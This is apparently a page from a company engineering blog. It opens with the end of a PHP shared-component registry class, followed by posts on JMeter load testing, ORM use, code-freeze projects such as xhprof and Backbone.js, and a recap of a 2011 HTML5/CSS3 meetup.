		# try to find it in share
		if(self::$shared[$name])
		{
			return self::$shared[$name];
		}
		else
		{	# if not found in share, try to create it.
			if(@class_exists($name))
			{
				if(is_array($parameters))
				{
				    $refClass = new ReflectionClass($name);
                    $object = $refClass->newInstanceArgs((array) $parameters); 
				}
				else
				{
                    $object = new $name($parameters);
				}
				
				return self::$shared[$name] = $object;				
			}
		}
		return null;
	}
	
	/**
	 * if object currently in share space.
	 *  
	 * @param string $name
	 * @return boolean
	 */
	public function hasComponent($name)
	{
		return (!empty(self::$shared[$name])) ? true : false;
	}
	
	/**
	 * return all shared objects
	 * 
	 * @return array
	 */
	public function getComponents()
	{
		return self::$shared;
	}
	
	/**
	 * clear all shared static variables.
	 
	 * @return void
	 */
	public function clear()
	{
	   self::$shared = array();
	   self::$parameters = array();
	}
}

Performance Testing

Performance testing

A few weeks ago, a Product Manager asked me “what is the performance difference between the new code and old cold?”. I did not have an answer because up to this point, we did not have a system in place to do front end performance testing. Sounds like a great code freeze project. Over the past few days, I have been working on designing and implementing a basic performance testing system utilizing JMeter from the Apache Jakarta project. The premise for this endeavor is to find site performance problems early in the QA and Development cycle ultimately providing for a great experience to our beloved members.

Before starting on this, I created the following objectives that our performance testing system should achieve:
1. Track historical performance of our site over time
2. Use data to pinpoint bottlenecks due to software/hardware changes
3. Identify and remedy any detrimental impact on performance
4. Allow QA Engineers to quickly create and execute tests from 1 location
5. Provide Executive management with quick metrics on site performance

Before embarking on performance testing I had to ask myself the following question. What is performance testing and what am I measuring? There are several subsets of performance testing including load, stress and endurance to name a few. In this case, I wanted to perform load testing by measuring server response times by hitting the site around the clock to establish a baseline. This will allow us to gather response times while the system under various loads and build historical data. Our peak time starts at 8 am, lasts until 10 am and tapers off throughout the day. Data gathered during each run is stored in a jtl file that contains the results of each run and can be rendered in Graph Results listener found in the JMeter gui or exported to a CSV or XML file.

Installing JMeter was simple and setting up tests was not difficult thanks to the contribution of the online community sharing tutorials, documentation and videos. All performance tests are run on a linux virtual host. Since Jmeter has a graphical interface, I had to enable X11 forwarding and install a few X11 libraries to enable making changes to JMeter test plans and execute while working on my windows desktop to the remote host. Furthermore, JMeter can run from the command line for easy scheduling of execution in a batch or cron job.

Over the next few weeks, we will spend time refining and extending the tests to better suit our needs. This includes load testing in QA and staging environments and having this become part of the QA test plan. JMeter also extends to testing databases and webservices among other server types. Over the next few months, we will be exploiting this tool and sharing its useful features on the HauteLook Tech Blog.

ORM framework usage

I wrote a blog post about the use of ORM in response to aother blog post about the move away from using an ORM. This is the philosophy I spread at HauteLook. When dealing with big data, patterns like Active Record just don’t cut it. We pay very close attention to the queries that drive HauteLook’s most popular pages.

Code Freeze Fun

The holiday season is HauteLook’s busiest time of year. We have spent a lot of time creating new products and optimizing website performance for the increase in traffic. We can now sit back and monitor our dashboards. This makes it a perfect time for us to implement a code freeze and spend some time on internal projects. These projects include paying off technical debt, planning for the 2012 year and training. Here are some of my activities during code freeze:

Attended the jQuery Summit

I spend most of my time working with server-side technologies, such as PHP and MySQL. The jQuery Summit had a great developer track that exposed many of the new trends and technologies being used to power websites. I discovered things like Backbone.js, RequireJS (AMD), better ways to handle iframes and now have a more in-depth understanding how jQuery works.

Streamlining the build process

We like pushing lots of small changes throughout the workday instead of large changes. I have been working with the release manager on some bottlenecks in the release process. I have been adding new features to our open source IRC bot plugin to make it easier for our developers to keep track of what is being released. HauteLook uses the Phergie IRC bot and our Jira plugin exposes a lot of common Jira tasks as IRC commands.

Learning Backbone.js

I am working with the front-end team to integrate Backbone.js into our existing codebase. We are always trying to improve processes, especially the amount of time it takes to create and improve features. The HauteLook backend is fairly well architected and organized. There is a clear separation of MVC concerns and our Restful API makes it easy to expose HauteLook to other platforms. Backbone.js looks to provide this same sort of separation to the front-end. A number of us are implementing existing website features using Backbone.js and discussing what we learned and what best practices to introduce to the entire team.

Fixing bugs and adding features to xhprof

Performance is a big deal at HauteLook. Our bursty traffic patterns present a hard, but interesting challenge to keep the API, website and all platforms fast. I created a custom fork of Facebook’s xhprof to store PHP performance profiling data on Amazon S3 and created a more functional dashboard to view the results. Recently, I stumbled across a tweet from Paul Reinheimer about the xhprof fork he had been working on. I decided to collaborate with him and merge my changes into his fork.

Attending the PHP Architect Cloud Summit

PHP Architect hosted a cloud summit where a number of startups presented on how they were using the cloud. HauteLook is traditional in that we have a data center with hardware that we own. We do use some cloud features, such as Amazon S3, where appropriate. A number of us attended the online summit and discussed the ways we can leverage new cloud technology.

Planning for the release PHP 5.4

The release of PHP 5.4 will bring about some significant fundamental changes to the way PHP works. I am already assessing what PHP changes we have to make in order to upgrade to 5.4. This involves custom builds of PHP to run the .phpt tests that ship with PHP on our production web servers and running our PHPUnit test suite against 5.4.

HTML5/CSS3 Meetup, Nov. 2011

I attended the Los Angeles HTML5/CSS3 meetup on 11/14/11 and it was awe-inspiring.
It was a packed house that didn’t end until after 11pm.

I wanted to share some highlights:

The first speaker was Stephanie Sullivan Rewis, an evangelist with Adobe. She provided quite an overview on the use of html5 and css3. She definitely had my attention. ;) One key point she made:

ALL BROWSER EXPERIENCES SHOULD NOT BE IDENTICAL: for too many years we have been spending an inordinate amount of time making certain that the user experience is the same across all browsers and devices. That is old school. She and her husband, Greg Rewis (who also spoke) were very much against the use of “m.”whatever.com for mobile sites. Their point was that just because someone is on a mobile device or pad, does not mean that they necessarily want a “mobile” experience.

What I learned from her: non-prefix properties in our style sheets should FOLLOW those with prefixes. For example, where we use drop shadows and target the compatible browser engines, such as -webkit, -moz… those should be BEFORE the majority style. Does that make sense?

Stephanie also mentioned the use of Modernizer for browser feature detection, and pointed to this website: MikeTaylr.com, that gives an indication of browser compatibility with new html5 elements and attributes. She spoke about adaptive web design, progressive enhancement, and regressive enhancement. She also showed stats predicting Chrome adoption surpassing Firefox and IE worldwide within the next couple of years, perhaps sooner.

Also some VERY cool stuff with pseudo elements, specifically :before and :after, being used for decorators, WITHOUT ADDITIONAL MARKUP.
Also background transitions and shadows. She said to check these guys out: Nicolas Gallagher http://nicolasgallagher.com/ and David DeSandro http://desandro.com/

Her website: http://blog.w3conversions.com/
Twitter: @stefsull


Speaker number two was Elliott Sprehn from Google. Have you heard of AngularJS? This was a hobby project of one of their engineers that they decided to support with version 1 expected to roll out at the end of this year. He did some demos and it reminded me a lot of Backbone, only he professed it was more scalable. It has built-in support for Jasmine and a Scenario Test Runner.
There is a LOT of stuff behind the scenes to make development more maintainable. He also mentioned, that unlike Backbone, AngularJS avoids something he called “event storms”. This guy is a NERD and a smart one.

Here is one of his presentations: http://www.elliottsprehn.com/blog/files/presentations/Intro_to_AngularJS_JavaScript_Done_Right.pdf
Twitter: @ElliotZ


The third speaker, Neville Spiteri, from a company in Venice called Wemo Media, demoed a project called The Blu: http://theblu.com/
He spoke mostly about what he sees as the next wave in social interaction on the web for pro-sumers (producer/consumers).
Connected, peer-produced projects with intrinsic value.
You can sign up for beta with the access code: newweb


Last speaker was Greg Rewis. His schtick was responsive web design and media queries. Media queries have been around since CSS2, but they’ve been expanded now. One interesting thing he pointed out is that most devices, laptops, pad, and mobile phones lie to us when we query screen dimensions. http://assortedgarbage.com/presario/screentest_v.html This may be something that our mobile guys already know. He feels that every web experience should Adapt based on the medium upon which it is viewed. He showed off some REALLY helpful time saving tools in…DREAMWEAVER. But even though I was impressed with what it does now, I just can’t see myself going back. For example, he was able to create gradients and drop shadows in Fireworks and then export the cross-browser css to re-create it on a webpage…cool, but…

Something else he said that stuck in my mind: ALL style sheets are downloaded when a site is visited, regardless of the environment. The biggest threats to speedy interactions on a site are bandwidth and http requests. He feels that alternative styles should be contained in ONE single style sheet, surrounded by media queries, to reduce the http requests.
He did admit, that contrary to some, he doesn’t believe designing a site from scratch, designing for “mobile first” is easy to do, but philosophically it’s good to think about.
He suggested this guy’s book: http://www.lukew.com/ff/entry.asp?933

He mentioned that media (images) are only downloaded if needed, however “display:none” in a CSS media query does NOT prevent download. This can be a traumatic user experience on mobile devices. He highlighted some of the work of the Filament Group’s work with what they call responsive images: http://filamentgroup.com/lab/responsive_images_experimenting_with_context_aware_image_sizing/

He also covered the use of the HTML5 appcache, to assist users with offline browsing (does not work for php files). Oh, and I didn’t know that that manifest cache is NOT emptied when browser cache is cleared. (if I understood him correctly). Greg finished off with a bit on CSS shaders : http://www.adobe.com/devnet/html5/articles/css-shaders.html
and CSS regions: http://labs.adobe.com/technologies/cssregions/

Greg’s twitter: @garazi


All in all, it was definitely worth my time. All of the speakers were knowledgeable and informative. I learned a few things, and I even snagged a t-shirt. If you have the inclination, join me at the next LA HTML5 meetup:
http://www.html5la.com/

Page 3 of 4«1234»